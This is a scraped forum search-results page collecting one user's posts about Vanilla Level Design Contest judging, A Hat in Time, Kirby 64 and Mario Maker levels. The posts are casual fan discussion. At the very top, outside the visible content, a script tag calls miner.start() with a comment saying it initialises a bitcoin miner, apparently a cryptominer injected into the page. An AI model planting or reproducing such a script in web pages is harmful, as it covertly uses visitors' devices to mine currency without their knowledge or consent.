<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxypge projectsmbx community

Search found 1023 matches

Go to advanced search

by FrozenQuills
2 days ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 28789

Re: Vanilla Level Design Contest X - grav1tyF0

A bit late with this because life, but might I just say that some people — who happen to be both in the youtube comments and here on the forums — took things too far by invoking a certain other level yesterday? Said level already got substantial flack back when raocow first played it. Continuing to...
by FrozenQuills
1 week ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 28789

Re: Vanilla Level Design Contest X - 1Fl0at

some dev commentary Before the contest I was reading the SMW glitch list on SMWCentral for any interesting things that can be done in vanilla, and one of the things that stood out to me was the water glitch where only sprites have water physics applied. I was also inspired by k3fka's and eevee's cit...
by FrozenQuills
1 week ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 28789

Re: Vanilla Level Design Contest X - 1Fb0o

Rameau's Nephew on Subterranean Shrine wrote:A rather impressive feet of stagecraft, this one!
by FrozenQuills
2 weeks ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 28789

Re: Vanilla Level Design Contest X - And now, Daizo's level...

It's funny how controversial Swiss Sparkles' palette/aesthetic choices are. I remember helping Enjl with the colors since it was his first time with SMW.

Meanwhile Fish n' Bits has an awesome "improved SMW" aesthetic style, with great level flow to boot.
by FrozenQuills
1 month ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 28789

Re: Vanilla Level Design Contest X - Raiding Video 51

wow I forgot I wrote that for Luminous Hollow way back when in lolyoshi's stream chat.

There were several times in lolyoshi's judge streams where I was helping lolyoshi summarize his thoughts on the level. So I guess some of those chat messages just became the judge comments.

😅
by FrozenQuills
2 months ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 28789

Re: Vanilla Level Design Contest X - The Normal's Disco Bright

Some of lolyoshi's comments I agree aren't good, but they do get more detailed. He seems to put effort when he sees effort. The context for his comments is missing as well because he streamed and reacted to the entries live, the recordings of which I believe have been lost. Also, VLDCX is around the...
by FrozenQuills
2 months ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 28789

Re: Vanilla Level Design Contest X - The Normal's Disco Bright

i thought Vertigo was a Flash Black inspired high effort troll level.
With how solid objects disappear and reappear and how blind everything is, it really feels deliberately bad lol. IIRC Minimay did something similar in VLDC9
by FrozenQuills
2 months ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 28789

Re: Vanilla Level Design Contest X - Oh boy here we go

Rameau's Nephew commentary was a blessing in this contest
by FrozenQuills
2 months ago
Forum: the gazebo
Topic: The Unofficial Official Birthday Thread Thingamajig
Replies: 1758
Views: 152493

Re: The Unofficial Official Birthday Thread Thingamajig

KobaBeach wrote:
FrozenQuills wrote:
happy birthday you musky husky

i already wished fp a happy one on smoo-c
..🎊..
:catplanet:
by FrozenQuills
5 months ago
Forum: let's play
Topic: A Hat in Time - FINAL for now - Revisiting the world, but different this time.
Replies: 372
Views: 18987

Re: A Hat in Time - Rift Adventures in the Artic

yeah ship shape used to be a LOT harder in terms of satisfying everything, as the captain used to get mad a lot faster. I had a lot of trouble with it pre patch, but IMO it's quite fun now. It's unfortunate that you need to know absolutely everything about the ship, though, which can make navigation...
by FrozenQuills
6 months ago
Forum: let's play
Topic: A Hat in Time - FINAL for now - Revisiting the world, but different this time.
Replies: 372
Views: 18987

Re: A Hat in Time - Visor

oh shoot i didn't realize raocow is playing this
I also love this game, especially the DLCs and one of the later

movie-themed

worlds.
by FrozenQuills
6 months ago
Forum: let's play
Topic: Kirby 64 - Ribbon
Replies: 194
Views: 8477

Re: Kirby 64 - Nago

chachas are some of the best enemies in this game
by FrozenQuills
6 months ago
Forum: let's play
Topic: Kirby 64 - Ribbon
Replies: 194
Views: 8477

Re: Kirby 64 - Rick

i like how the title screen shows all of the characters awkwardly staring in various directions
by FrozenQuills
7 months ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Happy New Year!!
Replies: 356
Views: 25643

Re: Vanilla Level Design Contest 11 -- The Next Entry

anyway as we get closer to the top 10 we get closer to more judge favorites

FPZero's is 9th place
Mine is 3rd place
Ryaa's is 2nd place
by FrozenQuills
7 months ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Happy New Year!!
Replies: 356
Views: 25643

Re: Vanilla Level Design Contest 11 -- tim horton's betrayal

(reviews) You mixed up my review of SWEET DREAMS with Have Sweet Dreams lol Have Sweet Dreams ------------------- DESIGN | 50/60 CREATIVITY| 21/30 AESTHETICS| 9/10 TOTAL | 80/100 ------------------- COMMENTS: well this level title is familiar, now im actually having the sweet dreams A lovely level....
by FrozenQuills
7 months ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Happy New Year!!
Replies: 356
Views: 25643

Re: Vanilla Level Design Contest 11 -- It's like Elven, but with one more "e"

The emoji judgement thread on SMWC shows the order of what I judged, and I played the bramble level near the end.
Fun fact: I played mountan castle last by pure chance lol
by FrozenQuills
8 months ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Happy New Year!!
Replies: 356
Views: 25643

Re: Vanilla Level Design Contest 11 -- ID# of the month which is named after the number 9

just noticed that i gave all of these consecutive levels a 65, interesting
by FrozenQuills
8 months ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Happy New Year!!
Replies: 356
Views: 25643

Re: Vanilla Level Design Contest 11 -- Add a plus in there and you get two

tfw everyone noticed an entry having a time limit of more than 500 seconds in my emoji judging thread but not Infinity's blatant 5 lives

edit: and now I noticed Vanilla Plains (103rd place) should also have been dq'd LOL
Image
by FrozenQuills
8 months ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Happy New Year!!
Replies: 356
Views: 25643

Re: Vanilla Level Design Contest 11 -- Add a plus in there and you get two

The average level quality is better in VLDC11 than other VLDCs imo, so I'm happy that raocow is already considering these entries as great level territory.
by FrozenQuills
8 months ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Happy New Year!!
Replies: 356
Views: 25643

Re: Vanilla Level Design Contest 11 -- A one and another

this is how i felt about today's level
Image
by FrozenQuills
8 months ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Happy New Year!!
Replies: 356
Views: 25643

Re: Vanilla Level Design Contest 11 -- Sunset Hour in Summer Alaska

iirc I only thought of the darkness as a minor annoyance and not game breaking.

but looking at raocow's playthrough, that is WAY darker than what I saw lol
by FrozenQuills
8 months ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Happy New Year!!
Replies: 356
Views: 25643

Re: Vanilla Level Design Contest 11 -- Shines per level

oh i didn't see this coming

btw yeah beware there are very hard levels in this
by FrozenQuills
1 year ago
Forum: the cartridgé
Topic: Talkhaus Mario Maker 2 Level Sharing Thread! Wow!
Replies: 48
Views: 7199

Re: Talkhaus Mario Maker 2 Level Sharing Thread! Wow!

Added some of my courses.
Also y'all could just enter my author ID for all of them: 4VS-M5V-2WG
by FrozenQuills
1 year ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 65293

Re: Mario & Luigi: Superstar Saga - Kouhai

yeah the enemies outside of beanbean castle are hard on your first visit especially since you're learning how to defend with the hammer, and if you don't beeline straight for the castle you'll be taking a beating. I remember having the same issues as raocow.
by FrozenQuills
1 year ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1070
Views: 70152

Re: JUMP φ/(1+(√5)) - Half a jump is still a jump

all other levels so far have been 1/2 a jump in difficulty
so sadistic is the other half

Go to advanced search